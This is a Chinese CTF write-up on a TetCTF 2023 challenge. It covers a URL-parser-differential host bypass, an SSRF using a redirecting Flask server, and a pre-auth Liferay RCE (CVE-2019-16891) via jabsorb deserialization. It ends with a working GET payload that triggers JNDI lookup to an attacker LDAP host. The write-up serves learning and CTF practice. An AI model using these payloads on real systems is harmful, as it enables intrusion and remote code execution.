TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

这周末打了这个比赛挺不错的一个,但是主要还是写一下这题,其他题虽然也有难度但是并不值得我记录

正文

首先这题被拆分为了两个部分,觉得两部分都挺有意思的,就单独讲讲

part1主要是利用node与python的requests的差异性绕过host限制

part2主要是仅仅通过一个GET触发Liferay的RCE

关于题目备份也是放在了我的Git里:https://github.com/Y4tacker/CTFBackup/tree/main/2023/TetCTF

Part1

首先一眼看到这个路由

1
app.post('/api/getImage', isAdmin, validate, async (req, res, next) => {

这里面有个鉴权操作,要求密码是Th!sIsS3xreT0但是长度不能大于12,很常规基础的考点了,通过数组就行?password[]=Th!sIsS3xreT0

1
2
3
4
5
6
7
8
9
10
const isAdmin = (req, res, next) => {
try {
if (req.query.password.length > 12 || req.query.password != "Th!sIsS3xreT0") {
return res.send("You don't have permission")
}
next();
} catch (error) {
return res.status(500).send("Oops, something went wrong.");
}
}

接着来看看剩下的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app.post('/api/getImage', isAdmin, validate, async (req, res, next) => {
try {
const url = req.body.url.toString()
let result = {}
if (IsValidProtocol(url)) {
const flag = isValidHost(url)
if (flag) {
console.log("[DEBUG]: " + url)
let res = await downloadImage(url)
result = res
} else {
result.status = false
result.data = "Invalid host i.ibb.co"
}

} else {
result.status = false
result.data = "Invalid url"
}
res.json(result)
} catch (error) {
res.status(500).send(error.stack)
}
})

这里IsValidProtocol要求只能是http/https,isValidHost要求host只能是i.ibb.co这个图床网站(使用urlParse解析)

之后如果校验成功则会调用python去下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
f __name__ == '__main__':
try:
if (len(sys.argv) < 2):
exit()
url = sys.argv[1]
headers = {'user-agent': 'PythonBot/0.0.1'}
request = requests.session()
request.mount('file://', LocalFileAdapter())

# check extentsion
white_list_ext = ('.jpg', '.png', '.jpeg', '.gif')
vaild_extension = url.endswith(white_list_ext)

if (vaild_extension):
# check content-type
res = request.head(url, headers=headers, timeout=3)
if ('image' in res.headers.get("Content-type")
or 'image' in res.headers.get("content-type")
or 'image' in res.headers.get("Content-Type")):
r = request.get(url, headers=headers, timeout=3)
print(base64.b64encode(r.content))
else:
print(0)
else:
print(0)

except Exception as e:
# print e
print(0)

正常情况来说如果我们使用:http://evil.com@i.ibb.co/1.png

node和python经过parse后访问的其实也都是http://i.ibb.co/1.png

那有没有什么办法让node和py行为相异,python的requests库是基于urllib实现的,这里我们看到去区分scheme, authority, path, query, fragment等部分是靠正则实现的image-20230103112556025

对应的正则

1
2
3
4
5
6
7
8
URI_RE = re.compile(
r"^(?:([a-zA-Z][a-zA-Z0-9+.-]*):)?"
r"(?://([^\\/?#]*))?" 靠这些符号决定authority部分边界
r"([^?#]*)"
r"(?:\?([^#]*))?"
r"(?:#(.*))?$",
re.UNICODE | re.DOTALL,
)

因此如果最终我们使用的url是

http://evil.com1232\@i.ibb.co/1.png

node部分则会正确解析出host为i.ibb.co

python部分由于遇到了\字符其实是把后面整体当成了path,最终访问的url其实是

http://evil.com1232/\@i.ibb.co/1.png

如图测试

image-2

在这个基础上我们可以配合flask简单写个解析这个畸形路径的请求并重定向到指定位置即可完成ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask,request
from urllib.parse import quote
import requests


app = Flask(__name__)


@app.route('/\\@i.ibb.co/1.png')
def hello_world():
return "login fail", 302, [("Content-Type", "image"), ("Location", "file:///usr/src/app/fl4gg_tetCTF")]
# return"23333"

if __name__ == '__main__':
app.run(host="0.0.0.0",port="1239",debug=False)

Part2

第二部分是这个Liferay的一个前台RCE,看DockerFile可以看到这个版本

image-20230103113711919

网上较多的是关于cve-2020-7961的内容,也就是靠/api/jsonws/xxxx去实现的RCE

然而这里有两个限制

第一个,从part1部分我们能得到一点,我们的SSRF只能触发一个GET请求

第二个,这里对路由做了些限制,也就是说我们的api相关路由都不能访问了咋办呢?

image-20230103113942123

关于这个我在网上搜索发现出题人曾发了一个这个文章

https://vsrc.vng.com.vn/blog/liferay-revisited-a-tale-of-20k/

在文章最后提到了这点验证了我们的猜想,同时也知道了大概也是和json反序列化有关

image-20230103162546281

之后的话又看到一篇文章

https://dappsec.substack.com/p/an-advisory-for-cve-2019-16891-from

这里像我们展示了一个新的路由

image-20230103162733485

从struts-config.xml当中可以看到对应的全类名

1
<action path="/portal/portlet_url" type="com.liferay.portal.action.PortletURLAction" />

这个类在/liferay-portal-6.1.2-ce-ga3/tomcat-7.0.40/webapps/ROOT/WEB-INF/lib/portal-impl.jar!/com/liferay/portal/action/PortletURLAction.class

从这里也可以看出是GET传参数也可以

image-20230103163126821

image-20230103163144288

再往下看,可以得知这里是可以触发liferay的json反序列化

image-20230103163218591

这里我们挑重点来讲,最终反序列化会触发org.jabsorb.JSONSerializer#unmarshall

这里他会调用getSerializer去选择一个能满足反序列化该javaCLass的类

image-20230103164712565image-20230103164852843

首先遍历serializableMap看有没有该javaClass直接对应映射的处理,这个serializableMap当中有很多,但大多都是一些基础类型的类的处理

image-20230103165025514

没有的话它会继续遍历serializerList看看有没有能处理该类的,也就是其canSerialize返回true

image-20230103165404537

我们只需要关注两个即可,其他的也是一些基础类型之类的不需要过多关注

一个是com.liferay.portal.json.jabsorb.serializer.LiferaySerializer

1
2
3
4
5
6
7
8
9
10
public boolean canSerialize(Class clazz, Class jsonClass) {
Constructor constructor = null;

try {
constructor = clazz.getConstructor();
} catch (Exception var4) {
}

return Serializable.class.isAssignableFrom(clazz) && (jsonClass == null || jsonClass == JSONObject.class) && constructor != null;
}

其对应的unmarshall方法当中,我们可以很清楚的看到只是通过一些反射去对class对应字段赋值

image-20230103165939984

另一个是org.jabsorb.serializer.impl.BeanSerializer

1
2
3
public boolean canSerialize(Class clazz, Class jsonClazz) {
return !clazz.isArray() && !clazz.isPrimitive() && !clazz.isInterface() && (jsonClazz == null || jsonClazz == JSONObject.class);
}

其对应的unmarshall方法当中,则是调用对应的setter方法,这符合我们的要求

image-20230103170046051

这两个类处理最大的区别就是javaClasss是否继承了Serializable接口,因此我们找恶意类条件就是不能继承Serializable接口,同时set方法有恶意操作,这种时候就去看fastjson和jackson的黑名单就可以了

比如jackson里面黑名单里的一个类刚好在我们liferay当中

image-20230103172040401

同时其set方法有一个能直接触发jndi的

image-20230103172114714

最终我们把这串代码放进之前的恶意flask触发重定向后,通过jndi攻击内网服务

1
http://admin-portal:80/c/portal/portlet_url?parameterMap={"javaClass":"org.hibernate.jmx.StatisticsService","sessionFactoryJNDIName":"ldap://ip"}